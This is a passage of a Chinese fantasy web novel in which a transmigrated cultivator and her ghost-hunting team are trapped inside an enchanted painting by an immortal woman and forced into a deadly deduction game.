“秦欠死在哪个房间?”余愁山走在前头,朝两个平行的房间里看了看,没看到有什么异样。
孟娩迈步过来,“听死者父母说,尸体是在新娘的葬礼房间发现的,就是最尽头的右手客房。”
“新娘名叫陶赐,二十六岁,从小是寄养在姑父家长大的,后来考上了名牌大学,参加工作,在网上很活跃,是一位小有名气的风景主播。”
“姑父家?她父亲呢?”云饭饭问道。
“在陶赐六岁的时候就去世了,她姑父和姑姑一直没孩子,把她当亲女儿抚养长大,后来在她二十一岁时,双双出车祸没了。”
“所以葬礼女方这边没人来,还没出殡秦欠就接着猝死了,毫无征兆。”
孟娩说到这儿,神色有些惋惜。
“她母亲从没来看过?”宁松帷听此也带上了心疼的语气。
“若是看过,又怎会连亲生女儿都认不出,最后同意新郎新娘成婚?”赵慵不屑一笑,“愁山的话我是信的,这秦家夫人真是自作孽。”
结果显而易见,终究是一场悲剧。
“是哎。”陈箐觉得有道理,“说来说去,秦家夫人居然也没有一丝怀疑,还是两个兄妹自己发现了,也不知道是怎么发现的,就算是婚检的结果也不可能结婚这么久才出啊。”
几人的步调很慢,都在听着那诡物的动静,走廊尽头的那块墙皮被贴了富丽堂皇的壁纸,是一张绵延不断的廊道。
远远看去,叫人恍然处于无尽走廊的感觉。
李俟菩向尽头那尾房轻轻一探,正欲抬脚走去却步伐一转,停留在一副怪异的图案前。
尾房的躁动瞬间偃旗息鼓,李俟菩像是没察觉,仔细端详起那副与周遭油画风格不同的画来。
图案十分明晰,中间一个鱼头,三个鱼身分布四方,自油画方框顶角画上一个大圆,鱼身没有越过圆后,整体看起来古老又神秘。
“三鱼共头。”余愁山默默靠近道。
“那是什么?”李俟菩看向鱼头一只死沉的眼睛。
赵慵也凑过来,“是一种符号文化,最早出现在东汉时期的画像石上,象征很多种意思,比如永生循环,或者传承繁衍等等,是个美好的意向。”
精美的枝叶画框边缘有些泛黄,其他油画却没有,李俟菩定睛,擦了擦这幅画右下角的那块很大的白色颜料。
“看来画这幅画的人不是很厉害嘛,起笔粗糙,画功也不精细,还粗心地将白色颜料打翻了。”陈箐言语中带点批判意味,“是去赶趟吗?”
“你很懂?”李俟菩开口问道。
见李俟菩主动和她说话,陈箐眼睛一亮,双马尾一摆,疯狂上扬的嘴角怎么都压不住。
“我在画画方面略有涉猎。”
陈箐腼腆的模样震惊覃诩水八代祖宗,覃诩水向她后脑勺重重拍了一下,“大胆妖孽,竟敢夺舍,还不速速滚出来!”
陈箐被拍了个实在,尴尬又不失微笑地等李俟菩转过头去,便自然地揪上覃诩水手臂的软肉。
“看样子是很急。”李俟菩点点左上角那圆的一丢丢齿轮,“收尾都很潦草。”
“可能这幅画不同于其他的真迹,是山庄的主人所画?你们看,这画明显和那些不一样,能堂而皇之摆在这么显眼的位置,只能是很重要的人画的,难道说秦家人很在乎传承这方面的意思?”
宁松帷瞧了瞧那些陈列的油画,猜测道。
“不无道理,三鱼共首最常用的意思就是传承,看这鱼头鱼身的线条风行水上,应该是经常所画才会下笔如神,不过陈箐说没有功底,估计是练习了很久很久。”孟娩没有上手去摸,说道。
“祈祷。”李俟菩言简意赅。
“祈祷?什么意思?是说秦家人图腾崇拜,特别想要传承?”赵慵又反复打量了一遍。
“只是猜测,刚刚看楼下的装饰物好似也有这样的图案,不过秦家人已经有两个,不,是三个孩子了,应该是早就受了神的赏赐。”李俟菩后半句略有调侃的意思,余愁山侧目。
“三个里只有两个姓秦,哪门子的传承。”覃诩水嗤笑一声。
说着,那尾房的诡气波率再次缓缓升高。
覃诩水看了一眼,说得更大声了:“该不会这副三鱼共头就是秦夫人所画吧,可是她三个孩子里只有一个如她心愿是个男孩儿啊,真是可惜。”
话音刚落,尾房的门突然破开,所有怨气化箭头尽数朝覃诩水袭去,汹涌如潮!
千军万发之际,李俟菩抓住覃诩水的衣领足尖一点,取下那副三鱼共头充作盾牌,稳稳地立在几人身前。
撕裂的风仿佛要把人糅碎,李俟菩立身盾牌后纹丝不动,身后几人脚步微撤,但根本撤不了一点。
除了余愁山全都退回楼梯拐角原点,拼了好大力气才站稳身子。
怨气沾上那画就像进了绞肉机,自源头疯狂吸收着可怕的怨气,那鱼的独眼更加死气沉沉。
“这画,有问题?”余愁山抬起左手,
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替李俟菩挡上些许强风。
李俟菩脸色微沉,“估计和新娘有些渊源。”
风刮得人脸生疼,风声在耳畔呼呼作响,身后的那些油画画框不停晃动,嘲哳的摩擦声震耳欲聋。
这诡物的怨气就像怎么也取之不竭用之不尽一样,持续不断的被三鱼共头这幅薄薄的油画摄取。
“覃诩水,你没事戳她痛处干嘛?!忘了我们是在她的地盘是吧?”几步后的陈箐大呼小叫地薅着覃诩水骂,“生怕我们不会全军覆没是吧!”
“这不是引她出来吗!谁知道她在尾房里面布了什么天罗地网将我们一网打尽呢!”
赵慵忍无可忍,上前给她们一个人一巴掌,“吵死了!”
李俟菩往刚挂着油画的地方上瞄了一眼,又蹲下身,看了看这油画背后覆着的一张薄纸。
她轻轻一嗅,是一种很特殊的郁气,不是神物也不是法器,更不是应庐那种神剑所散发的灵气。
倒像是她没有失去法力的、她那个世界所独有的一种气息!
可是,这怎么可能?!
李俟菩的鼻子不会说谎,她日日夜夜被这种气息环绕的感觉也不会说谎,但这就表明,画这副画的主人,或者说赠予这特殊纸的人——
是与她一样不属于这个世界的同类!
李俟菩心神一晃,油画往左偏了三分。
一些怨气就像找到了漏洞,往后轻而易举地抓住了覃诩水的衣角,随后借着油画的钝力猛地一扯!
“我去!”覃诩水欲要捂住脑袋的手一顿,随即整个身子歪斜,就要随那些怨气私奔而走!
陈箐眼疾手快地攒住她瘦得没肉的手腕。
“别松手!这……怎么回事,没听说过怨气还会拽人啊!”
陈箐费劲地喊着,可风力暴戾恣雎,她脸憋得通红却还是被风拖着走了八分。
赵慵悍然不顾地一手拉着陈箐,一手去够覃诩水,奈何孤木难支,三人直接成圈似地成陀螺飞离了地面!
“不好!”云饭饭也要去捉,却根本来不及,风阻她前进,只能抓着栏杆一寸一寸向前挪步。
孟娩离栏杆最近,她两脚勾住栏杆底栏,一把擒住赵慵的衣角,而赵慵也眨眼使出长鞭挽上护栏。
嘎吱——
栏杆直接崩断了!
孟娩用力的双腿险些被折断,失力得只能被拽着走。
云饭饭闪让不及,身子一扭,明晃晃地随着断裂的栏杆摔了下去。
“饭饭!”赵慵亲眼看她堕坑落堑,却听不见回响。
一楼此时如黑得如穷崖绝谷。
余愁山听见身后的动静,错愕一瞬,连忙扶正画框,不经意搭上李俟菩的指尖。
李俟菩慢半拍地眨眼,理智陡然回笼。
但不过眨眼,余愁山竟也被她们一起卷入浓厚的怨气,最后消失在油画里。
凉风灌入李俟菩的脖颈,她心中大惊,手难以置信地滞在半空。
怨气刹那没了声响,风止。
甫一抬头,那尾房走出一人,两者相望皆是一愣。
黝黑长发微卷,三股刘海轻轻耷拉在额头上,一袭广袖葱绿长袍,这人的浅褐眼瞳就像一汪江水,秋池寒意。
二人声音同时响起。
“你是……李俟菩?”
“长生种?”
28. 功德+28
变故发生得极快,她已经无心管什么,估摸算着刚刚那几个队友,应当还有漏掉的一人不知在何处。
李俟菩板着脸,冷硬道:“宁松帷呢?”
“哦,你是说那个浑身都是炸弹的小妮子?放心,当个人质而已。”
这人的语调极为让人不爽,看她通身散发着活人气息,就绝不是鬼新娘。
而且,她倒是对李俟菩格外熟悉,一脸无所谓地打量起她来。
“你认识我?”李俟菩冷着的脸让人发怵,只见周遭又缓缓起风。
对方眉梢一挑,没有回答她的问题。
“刚那个掉下去的小姑娘也勉为其难的与宁小姐做个伴吧,至于画中的那几位可就要受点苦了。”
李俟菩懒得和她废话,就要重拳出击,对方只是轻飘飘一闪,就出现在李俟菩的身后。
李俟菩却根本不接招,翻身单手擒喉便让其退至墙边。
人的脖颈是脆弱至极的,她只稍微一扭,对方就能立马毙命。
这人的右颈处况似还有一凸起处,不是很显眼,却是致命的伤痕。
“你打不过我,不想死的话,我劝你尽早放人。”
“别介啊,要不我将这几人原封不动地还你,你们放过那个小新娘?”
被掐喉的分明是对方,结果这人还一脸的吊儿郎当,丝毫没把李俟菩放在眼里。
都受人所制了还敢和她谈条件,李俟菩毫不留情地加重手上力气。
如今尾房的门大开,她余光轻易瞥到一具已敞开的棺材,和地上青年男人发青惨白的尸体。
房间很暗,几乎看不清那男人的身形胖瘦,只有角落里微微颤动的黑影引人注目。
供品旁的红烛啪嗒一响。
“真是越来越不可爱了。”这人凭空生出一把折扇,用扇柄稍微抵了抵。
后似笑非笑地沿着李俟菩的胳膊慢慢向上,挑逗的意味不言而喻。
“你是谁?从何而来?”李俟菩的眼睛又落回她身上,十分不善。
话没完,对方却知道她没尽的意思。
“我只能告诉你,你现在心里想的都是对的。”
说了等于没说。
“呵,你是长生种,对否?”李俟菩没动,声音轻不可闻。
对方细细描摹了她的眉眼,竟有些恍惚,道:“是。”
长生种是一类人的特殊叫法,不过这类人在世界上几乎是不存在的,从字面意义上来看就是,她们生下来就拥有不死之身。
其身体其血液其内脏没有什么与众不同,就是一个实实在在的普通人而已。
却曾引发数千人诡哄抢,当然,这些都只是神话传说,真正意义上的长生种李俟菩从没见过。
今日是第一次。
“哎,可不是第一次哦。”
闻言,李俟菩另一只手的骨节捏得脆响。
对方连忙赔笑着用扇面安抚她,“长生种可不是那么好辨认的,你都不记得我了,又怎会知道我是?”
“骨龄。”李俟菩道,“你的骨头已经腐朽坏死,可你还好好地站在这儿,除了长生种,我想不出任何能解释这种情况的说法。”
她的记忆的确有些断断续续的,一开始觉得这个人简直莫名其妙,一双狐狸眼似要把她看透一样。
但现在她竟对这人有没来由的熟悉感。
“还是跟以前一样聪明。”尾音的小调调十分夸张。
李俟菩受到了对方的点赞加评论。
“所以,你到底是谁?”李俟菩的手劲松了松,直勾勾盯着对方,“你既然认识我,就应该知道,你和陶赐根本不是我的对手。”
听到她这样说,对方终于有些害怕地缩了缩脖子。
“江某一向与人为善,这小姑娘也是迫不得已,手上半条人命都没有,所以为了公正仁义,你不能杀我们。”
哪来的歪理,李俟菩腹诽道。
可莫名地,头脑异常发昏。
脑中不由闪过几条残影,惹得李俟菩耳边一阵嗡鸣。
她顿时头晕目眩,连眼前这女人的脸都开始变得扭曲,折扇变做了一只厚重眼熟的棒槌。
她的左肩一塌,整个身子仿若处于云端。
模糊中,她看到了很多铃铛黏吝缴绕着的浮金佛龛,还有地面上一个死去多时的年轻男人。
她感觉她的双手非同寻常的黏腻,恐慌与悔恨就像一把凌迟的刀插在心口碾磨,窒息得忍不住想要后退,但灌铅的腿怎么也抬不起来。
似做梦般,她努力去看清那男人的脸却于事无补。
直至有人在她耳边说了句什么,她的意识终于坠入谷底。
“李俟菩,你找到了你的曾经吗?”
*
一滴血落在手心,如同接了蜡液,生生烫进皮肉变成粉饰的朱砂。
就这样镌刻进她的皮囊骸骨里,就算剔肤见骨下也只有这一抹雕红,经脉缠绵永亘那不属于自身体内的血液。
经久,它们终于隔了层糜肉融为一体,彼此侵蚀彼此相容。
直到后来变作一滴清水,流入李俟菩干燥起皮的嘴唇。
旱地逢雨霖,她费力地睁开眼睛,喉咙发紧。
“醒了?”
倒映着的是一张如梦如幻的脸。
“不会吧,难道是发烧了?还是磕傻了?阿俟你可别吓我啊。”
应庐明眸微动,心疼的意味藏在眼底,见她醒来才拍拍胸脯,又稍稍将人扶起来点儿。
将那水囊往地一搁,没听见她说话,还以为真是哪里有问题,着急替她把脉。
“吵。”李俟菩顿觉嗓子像是一把割了弦的古筝,摧枯拉朽的音色在虚无的空间里留有余音。
她向上一瞟,巨大的三鱼共首图案倒映眸中。
“没事就好,没事就好。”
这才是应庐认识的样子,他呼出一口气,没从脉中再看出什么异样,心中的石头终于落地。
“我就这一小会儿没在你身边,你就遭遇不测,看来以后我真得寸步不离了,不然你受伤了我得多心疼啊。”
应庐做戏般捂捂胸口,脸色沉痛得不像话。
“所以你去干嘛了,这次也是故意不应?”李俟菩截断他造作的模样,撑起身来好好打量了这一片虚无。
没有任何生物的白色,没有任何气息的白色,比黑暗还让人心慌的白色,只有白色。
她稍稍挪动脚步,听到了水花的点滴声,往下一看,他们二人竟是踩在水面上。
只见波纹,没有物理意义的下坠。
“哪有,我这次是真没听见,才不是想让你多叫我两声名字。”应庐嘟着嘴咕哝道。
李俟菩:“……”
他喋喋不休地说:“还不是那邪功直接把我给逼走了,你又不是不知道,那怨气多的地方是人能待的吗?所以我只好找个避难所去喽。”
那邪功的积怨确实是对神剑或神物有伤害,相比之下,人遭受的损害还小一些。
“正好被我发现了个秘密,二楼有个油画,后面居然贴了好多好多符纸,也不能叫符纸,你知道的,就是符纸烧成灰兑水加入白色树浆弄成的薄符。”
“说是可以存放结界,果然,我一进来别有天地哈。”
应庐看她面带困惑,还以为是她没怎么理解这个符纸与法器的结合,他思忖几秒又道:“之前器修的那个小师弟不还给我们演示过?”
“就江隈还在那里呢,我说她个长生种怎么懂那么多,原来她就是这门的开创者,我要她教我她偏不教,你一学她就上赶着教你,这就是瞧不起人!”
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李俟菩眼神锐利如刀,“江隈?长生种?”
听此,应庐意识到了什么,心虚地将后半句话吞进肚子里,掩着嘴轻咳一声。
随后言之凿凿:“你说我们都到这个世界了,怎么还有这种东西?也太阴魂不散了吧!”
李俟菩偏不如他意,哼出几字:“如果我没猜错,我刚刚已经见过江隈了。”
应庐硬着头皮应了声,“啊?哦,这样啊,那是很巧了。”
说完,他自己都认为尴尬,嫌弃地闭嘴了。
“应庐,你真的是剑灵吗?”李俟菩道。
应庐沉默了,眼见他又流露出那种眼神,李俟菩避开了他的视线。
她没给他开口的机会,“我说过,我不喜欢听谎话,尤其是你。”
“我刚刚以为在这个世界上,我又找到了一个与我来自同一片家乡的人,所以我分了神,让其他人身处危险之中。”
“你很多的不经意告诉我,你远远不是我的剑灵那么简单,你和我有着共同的曾经,对不对?”
“我一触碰到神物,我就会想起一些东西来,可我的记忆分明都很完整,那些与我相干却不记得的回忆让我混淆。我……我也不期待从你这里得到什么答案。”
“我只问一句,你是谁?”
李俟菩罕见地一口气说了这么多,前言不搭后语,看起来反常得很。
她也不知道自己是怎么了,无论是那个所谓的江隈带来的熟悉感,还是刚刚因为神物造成的大梦一场,都对她有着不小的冲击。
看出李俟菩的不安,应庐想先安抚了她,但看她如此执着,便轻轻向前靠近她一步。
“我不是剑灵,我只是封存在你本命剑中的一缕游魂。”
“其实要感谢你的剑,不然我连鬼都不是,早就死翘翘了。”
“你有颗玲珑心,我的身份瞒不了你多久,你应该也有猜测。至于神物,它很重要,对你来说,它可以帮你……”
李俟菩截住他话头,“帮我什么?帮我找回记忆?帮我捉诡?还是,帮我回家?”
应庐搭上她的肩胛,轻捻她一绺发丝,“你先冷静,深呼吸,你先告诉我,江隈在这里是否是真?你确定?”
李俟菩不说话了。
“她脖子上有一条浅疤,对吗?”应庐循循善诱。
李俟菩忐忑的神色明显是受了什么刺激,应庐靠近她,她都没抗拒,不明真相的他第一反应还是亏欠与心疼。
得到她点头后,他才默道:“阿俟,江隈在这里那就意味着,这里并不是平行时空。”
“什么意思?”李俟菩弄不懂这些关键名词。
“历史的长河会淹没所有事情的真相,也许并没有那么多巧合,我们只是误入了未来而已。”
应庐叹口气,隐忍地退后半步,“有时间,去博物馆看看吧,我还没去过。”
“未来?”李俟菩头疼得要爆炸,“我不知道我来这儿的诱因,更不知道我为何……”
她第一次欲言又止,应庐轻声问:“怎么了,你想起了什么?”
李俟菩直视他的浅眸,看清他眼中的她自己。
“我已经死过一次了,你知道吗?”
脚下微起伏的涟漪,鳞波涔涔。
应庐浑身一颤,惊愕良久。
他极轻地说:“不知道。”
李俟菩嘴角微微动了一下。
水面的细褶纹路似二人的心昭然若揭。
转而,她问道:“一般的剑灵都有这么黏人吗?既然你不是传统意义上的剑灵,就代表你是被迫承载的这把应庐剑。”
“听说不管是什么剑灵极为忠主,半路出家也应该是这样,甚至有的还会萌生爱慕之情。
“所以你呢,对我是什么感情?”
29. 功德+29
虚无的白似乎有些变了,不远处莫名出现彩虹一样绚烂到失真的瀑布,汩汩流泉声压下激烈的心跳声。
那一刻,有什么东西坍塌了。
他睫翼上仿佛沾了剔透的水珠,身处的环境变化让李俟菩立马回头,像个小兽一样巡视领地。
应庐墨黑的眼珠随她的侧脸转动,浓烈到极致的眷念终于在她没看向他时,豁然喷涌。
她错过了盛满爱意到眼角发红的一双瞳眸。
就像很多年前,李俟菩只来得及去看昭示应庐内心不平静而颤抖的双手。
却忘了,人最想说的话其实从来都在那氤氲的乌黑双眼里。
应庐低下头,从口袋里捎出一朵玫瑰,递向她眼前。
刹那,李俟菩背后那瀑布猛然迸溅出几支怨箭,她没来得及接过,只推搡了一把应庐,箭尖几近扫过她眉眼。
危险一触即发。
沾满怨毒的箭显然是刚刚吸入的那些无止尽怨气所化,可这幅画吸取的怨气如此之多,不可能只积攒这些寥寥可数的小玩意儿。
未等李俟菩看清那箭的去向,紧接着便是成千上万的箭矢飞来,有些甚至还能循环使用,她几乎看不清应庐在哪里。
只听见一句,“很不幸,我的内力好像被封了。”
李俟菩一边躲过这些箭璇一边抽空道:“是受神物的影响?”
那边没回答了,一阵风声,应庐的微热呼吸洒在她颈侧,“大概是。”
李俟菩旋身将水波荡漾得清响,只见瀑布水帘中矢如雨下,再这么下去,他们二人迟早要把自己耗死。
她看向还在一个劲儿躲箭的应庐,箍住他消瘦的肩,借力翻身替他踹飞那些怨气,直愣愣看向他眼底。
此时他眼角还留有余红,李俟菩的脑子里突然冒出一个不合时宜的想法。
这人简直比手上那朵玫瑰还娇。
“借你一用。”她道。
应庐自是欣然答应,心有灵犀地知晓她的目的,冲在前面心甘情愿帮她开路。
不计可数的箭全无虚发,精准地把两个人形活靶入其毂中,如雨后春笋,应庐渐渐感到力不从心。
岁月的蹉跎打磨了他坚挺的脊梁,也让他丢失了一部分没有长期训练的身手,但他还是尽力帮她吸引了一些火力。
李俟菩被高大的男人挡在身后,全心全意地去找顶头三鱼共首造成这结界的阵眼。
经应庐三言两语诉说了那件与江隈的往事后,在她脑海中慢慢显现的第一个东西,不是哪一个清晰的人脸,而是一张精心所画的薄符所破图纸。
这种结界的阵眼从不是某个显眼的位置,比如鱼的眼睛,而是隐蔽得让人看不到的一处,却又不是胡乱所设。
繁衍是秦家人对三鱼共首的期望,延续血脉的根本不是脑袋,不是尾巴,也不是鱼身。
所以——
李俟菩掏出在她手中存放很久的透明光珠,大手一挥。
珠子这类的小法器不会受很大风力的阻拦,不出三秒,那珠子发出惊天爆炸轰响。
所以她最讨厌看密密麻麻的字了,直接炸了安心。
前前后后仅仅几分钟,她就杵在那里,将命交给应庐,万箭齐发之下,她毫发无伤。
三鱼共头的图案被炸个粉碎,尘灰簌簌落下,钻入应庐的鼻腔,他吞了口唾沫,胸腔起伏,冷汗直冒。
鱼头已经掉落,鱼身还要掉不掉,这神圣的象征瞬间变作丑陋的花纹。
应庐在心底默默为李俟菩敬畏了一下。
就走神这么一秒,那箭矢险些擦破他的脸颊,只见头顶的鱼头正要不偏不倚地砸向应庐圆滚的脑袋。
说是迟那时快,李俟菩提溜他的衣领往后一扯,顺势重重将他手中那紧紧攒着的玫瑰拿走。
骇目的鱼眼放大一秒,李俟菩以一种极为扭曲的姿势翻身后撤,然后蓄上那朵玫瑰自己全部的力气,暴烈一推。
玫瑰花跟解了桎梏一般猛然炸开,无数血色晃眼几秒,一朵花瓣吻上她的鼻尖。
花的根茎已随那块巨大鱼头飞了出去,狠狠堵住那处美丽的瀑布上游口。
再没有一支飞箭射过来,娇弱的玫瑰花中混着的纸条飞屑却轻然落地。
重重拿起,又轻轻放下。
李俟菩在那一瞬心跳如雷,她鬼使神差地想接住那碎掉的纸屑,却只接住吻上她的那朵残败花絮。
落在身后的应庐反倒松了口气。
好半天,李俟菩才道:“你写了字?”
应庐复杂的眼眸投向她嶙峋如柴的身影,“是的。”
李俟菩悄然握住那朵花瓣,“那我要拿,你为何松手?”
“为了让你知道,你自己丢了什么吗。”
应庐郑重地轻声说。
随即他又换上习惯的慵懒神情,将那些不可说的感情全都咽进肚子里,无人再知晓。
李俟菩简直想要捶死他。
虽然问他感情一事其实是想逼他承认他是师兄的这层身份,但没想到这人好好给她摆了一道。
咚咚咚——
急促的闷响从脚底传来,迫切催命般就像有人隔着鞋底板敲上脚心,一股寒意游上两人的后脑勺。
一波将平一波起。
李俟菩抬眸一看,刚刚的瀑布早已没有了影子,狼藉的三鱼共首又恢复原样,周围也不再是白茫一片,秦家山庄的依稀模样在眼前晃悠。
她将要出声,应庐却奇怪地无力再支撑起身子,“不好,压制……”
话还没说完,他两眼一闭,连剑身都化成不了形,只能变成些许灵力钻入李俟菩的心口消失不见。
她唤了好几声,应庐也没有回应。
她感知到应庐的虚弱,并再次闻到了神物的气息。
眼前的这所秦家山庄与外边的那个一模一样,李俟菩已经耗完了自己身上全部的力气,缺少食物补充的她开始有些急躁起来。
如果再遇到方才那种体力战术,她准扛不住。
“小心,精神污染……”
脑子里的应庐间断地说出口后,便又没了声音。
精神污染?什么意思?
李俟菩使劲摇晃脑袋,她一向冷静自若,遇到事情也断没有刚才表现得那么焦躁,难道是这个空间会精神控制?
越深究越不适,李俟菩可不是等陷阱白白套住的人,踌躇不决是下下策。
她抬脚走去。
山庄与外界布置得毫无二致,连后山与玫瑰花园都完全照搬,说起来刚才那朵玫瑰,应庐该不会是从外面顺来的吧。
李俟菩走得极为谨慎,尽量忽视手上与梦中同样的黏稠液体,可分明,她现在手心什么东西都没有。
她的精神状态现在已经高度戒备了,没了仙术法力的她除了一身武力外,就是一个随时随地会受伤致死的普通人。
她惜命得很。
崭新的白色运动
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鞋刚踩入大门前那块青砖,耳边就忽然听到了鸟鸣声与树叶沙沙作响声,所有大自然的真实的声音她都耳听心受。
回头再看那白茫一片,却只有逼真的青翠山野。
她仿佛走出了那副画。
可是并没有,神物经久不散的味道在提醒她,这里只是镜花水月。
她稍微缓了缓,确保一进去如果就有面对危险能迅速脱身的力气后,才轻叩三下山庄正屋的门。
谁知,那门自动地打开了。
李俟菩面上波澜不惊,等了一会儿,见没有其他动静,利索推开了那门。
一掌袭来,夹带酷烈的冷风,李俟菩起势格挡,横踢偷袭那人的膝盖,一击未中。
“你?”
“阿菩?”
李俟菩差点没收住,好不容易积攒点的力气就要将人的器官拍出来,偏偏停下了。
只见余愁山身后站着赵慵,李俟菩的掌心离余愁山的心脏只差两厘米,赵慵及时道:“你怎么下来了?”
接着李俟菩感觉到余愁山剔厉打量的目光。
过了会儿,余愁山说:“这力道,是李小姐真人没错了。”
赵慵不置可否,就要向前迈出一步,李俟菩道:“可我还没确认你们的身份。”
余愁山冷冷将自身挂牌一翻,“只要是931打造的特殊身份牌,都不会损坏,除非是直接抛进锻造熔浆里,否则——”
她将挂牌给李俟菩,赵慵什么都没说,等着李俟菩确认。
可李俟菩干脆地又还给她,也什么都没做。
“我还是不浪费我的力气为好,覃诩水应该和你们在一起对吧,我只要辨认她……”
“好姐姐好神仙,你也来了!被圈在这里,我都快无聊死了!快来给我抱抱!”
覃诩水像是整天吃了数颗仙丹一样的水牛音传入李俟菩的耳朵,她眼前赵慵的身后一蹦一跳的傻憨憨简直没有人能扮演出来。
“你们干嘛呢?怎么还堵着人家不让进?”
赵慵和余愁山头上的锅加一。
陈箐也蹦蹦跳跳地过来了,看着偶像一脸蓬头散发的模样,毒唯一样地开口就是干。
“干嘛呢干嘛呢,欺负人是吧,刚刚你们就是这么堵我的,怎么,还要重演一遍虎掷龙拿是吗?”
赵慵和余愁山头上的锅加二。
孟娩看热闹般从几人身后走过,软言温语道:“一组真是天天给我们演京剧呢,旦角没有,丑角却多得是。”
一组头上的锅加三。
覃诩水和蔼道:“干嘛扯上我?还有,不会说话请让国家补贴个残疾证好吗?”
孟娩掩唇温柔一笑。
余愁山默默转身对着墙自闭了。
赵慵不失微笑问道:“你来的时候看到松帷和饭饭了吗?”
“她们被当做人质了,我没遇到,这一切是一个长生种女人计划的,她的目的是想让我们放过新娘,而我们现在身处三鱼共首画中,其画背后是能成结界的法器薄纸。”
李俟菩长话短说,逻辑清晰得紧。
“长生种?”覃诩水有些难以理解地看向她。
李俟菩刚想解释,空间里就传来一阵机械的电流音。
几人难受得轻啧一声,捂住耳朵。
“滋滋……请客人做好准备,下面分发身份牌,一夜过后将开启狼人追逐战,祝客人成功通关三鱼共首游戏。”
几人:???
30. 功德+30
“什么什么狼人追逐战?”覃诩水刚说一句话就被手上莫名显露的身份牌堵个正着。
“狼人?还有这种种族?”李俟菩呆呆问,她努力理解字意,“你们这儿……还是现代社会吗?”
电流里传来人性化的笑声,“请关注游戏,谢谢。”
是江隈的调笑声。
李俟菩不知江隈到底要打什么算盘,宁松帷给的炸弹她只有一颗,要是还有,她准要先炸了这里。
只是炸弹没有,所谓的身份牌先触碰到了她的指尖。
稍显温热的牌面像是刚做出来,李俟菩没有着急去看,反而是看了一圈神色各异的众人。
刚刚的问题无人再回答她。
“请客人确认身份,在场六人一共分为两个阵营,狼人与鬼,下面开始播报游戏规则。”
“游戏时长共两天,第一日的游戏是真心话,客人需要根据提出的问题回答真话,一轮下来必须涉及关于狼人身份的确认问题,否则将受到惩罚。”
“若第一日就被成功指认狼人身份牌的客人会被抹杀,第二日幸存的狼人将开启猎杀时刻,直至清除所有鬼阵营的客人,才能有机会走出这里。”
“若所有狼人在第一日便被指出,则游戏失败,其他团灭。”
这些条条框框就像一团理不清的麻绳硬从耳廓里塞到脑颅,赵慵冷笑出声,直接撕掉了薄如蝉翼的身份牌。
可不到一会儿,她手上又立马出现了坚不可摧的卡片。
“喂!陶赐,我知道是你搞得鬼!你不搞这一出我们还有得商量,现在若就此打住,我们还可以考虑放过你!你不要再执迷不悟了!”
覃诩水朝天喊道,可叫破了喉咙也没人搭理。
想用游戏来让她们自相残杀?这法子心机够深啊。
现在不说一些法器被神物禁遏住了,幻境一事李俟菩好似也有些束手无策,不同于阵法,陶赐将这门没有名字的邪功用到了极致。
估计是那个长生种的江隈也牵扯其中,提供了新路径,李俟菩不是个天才,她没法在短时间内看出这门新法的路数。
以画造物,若是加入她们门派的阵修,可能仙家众排名榜上又会有个人与她争夺榜一。
可她们看起来很像一群小羔羊吗?
况且,严重精神污染的人现在可不止李俟菩一个。
面前这些人的精神状态都有说不出的诡异。
“什么身份牌,我要是作弊,可有人管得住我?”陈箐微露讥嘲,挑衅似地将自己手上的卡片递给李俟菩,“李小姐,你能看到吗?”
貌似是用纯金打造的卡片上空无一字,李俟菩道:“不能。”
陈箐呵呵一声,被逗得开怀大笑起来,道:“那我直接告诉——”
谁料祸从口出,她浑身一颤,差点软倒在地,脸色从红润变得惨白,覃诩水连忙搀了她一把,“怎么了?”
刚刚还嚣张鲜活的陈箐立刻就闭嘴了,像是看到了什么可怕的东西一样,但很可笑的是,她明明连鬼都不怕,又会怕什么腥臊呢?
“我……”陈箐大口喘着气,“没事,这陶赐当真是有些手段的,竟连人的记忆都可以随意调取。”
她咬紧牙关,如遭雷击的模样让其他人再次提起防备心。
李俟菩道:“念兹在兹。”
说着扫了在场几人一眼,她们的脸色都变得很难看,看来这里的每个人都有不可说的往事。
“念兹在兹?”孟娩说,“这种心理术法饭饭倒是会,使用者虽然没有观看权限,但能寻找人心最脆弱的心魔,来反身攻击提取者,难道饭饭被人……”
“是长生种,应该是她本身就会,而且她不会轻易动云饭饭与宁松帷的,她说了,她会放狼人幸存,说明她还有条件要谈。”
“你怎么知道长生种会?”孟娩又问。
李俟菩没开口,其他人默认了她被调取过记忆,没有再问。
“所以现在怎么办?”覃诩水还扶着倚倒在她身上没缓过来的陈箐,“这可是要命的游戏,我们当真要当人蛐蛐儿?”
“精神污染按我们那边的话讲,是一种超强的傀儡术,操控活人来达到自己的目的,就算是一些前辈宗师都不一定能自救,我也……”
若是从前的李俟菩,才不会被这些下三滥的伎俩迷惑。
“你是说我们受到了精神污染?”赵慵问道。
“你们没发现自己的状态有什么不对劲吗?”李俟菩看向还在面壁的余愁山,“若是往常,余小姐刚刚肯定会回嘴吧。”
“这……倒也是。”覃诩水想起上次余愁山联合宁松帷一起捉弄她的事儿,肯定道。
余愁山被点名,倒是回过头来了,只是她那双毫无波澜的眼睛此刻充血严重,就像是从地狱爬出来的罗刹,模样恐怖比之更甚。
在场精神污染得最厉害的恐怕就是她了,孟娩被吓得后退了几步,余愁山的脸色比死人还苍白。
“愁山你怎么了?哪里不舒服?”赵慵瞳孔骤缩,上前急切地关心道。
余愁山应该也是知道吓人,说了句没事,闭上双眼又面壁思过去了。
几人这下终于有些慌乱了,手足无措地不甘心又不知如何能脱困。
李俟菩垂眸,终于肯施舍一般看向手上的卡牌。
良久,她说:“我觉得你们应该都不太想死吧。”
话音刚落,她们脸上的神情霎时变得难以琢磨。
“我也不想,但傀儡术到一定境界,也是会死人的。”李俟菩到这时居然还嘴角翘起,“陶赐与长生种只是想在逼死我们之前,给我们一场游戏玩玩。”
“按照那个长生种的奇思妙想,这个游戏不会取狼人追逐战那么俗气的名字。”
“应该是叫——”
这是又传来轻笑的电流音,“捉诡。”
孟娩脸色顿时变了,她惊疑不定地望着李俟菩,后低下头不知在思索什么。
“我有个问题,这个两天时间,与外界是呈正比的吗?”覃诩水看了眼老式落地钟,时针指向正午十二点整,无人回应。
“若是这个流速,说不定二组与三组能察觉到异样,可能会来救我们?”赵慵叹气一声,“早知道,就该让阿菩把这里都炸了。”
却惹来李俟菩哼出几声笑,“赵队,你的精神啊,当真是出问题了。”
虽然李俟菩对赵慵了解不多,但清醒时的赵慵是绝对不会说出这样的话来的,就算是刀山火海,赵慵这样心软的人,也一定会闯。
“是吗?”赵慵一改刚才的温和,“我可是队长,你个小职员还管得了我?”
李俟菩被一噎,玩笑道:“难道精神污染的最终结果就是说反话?”
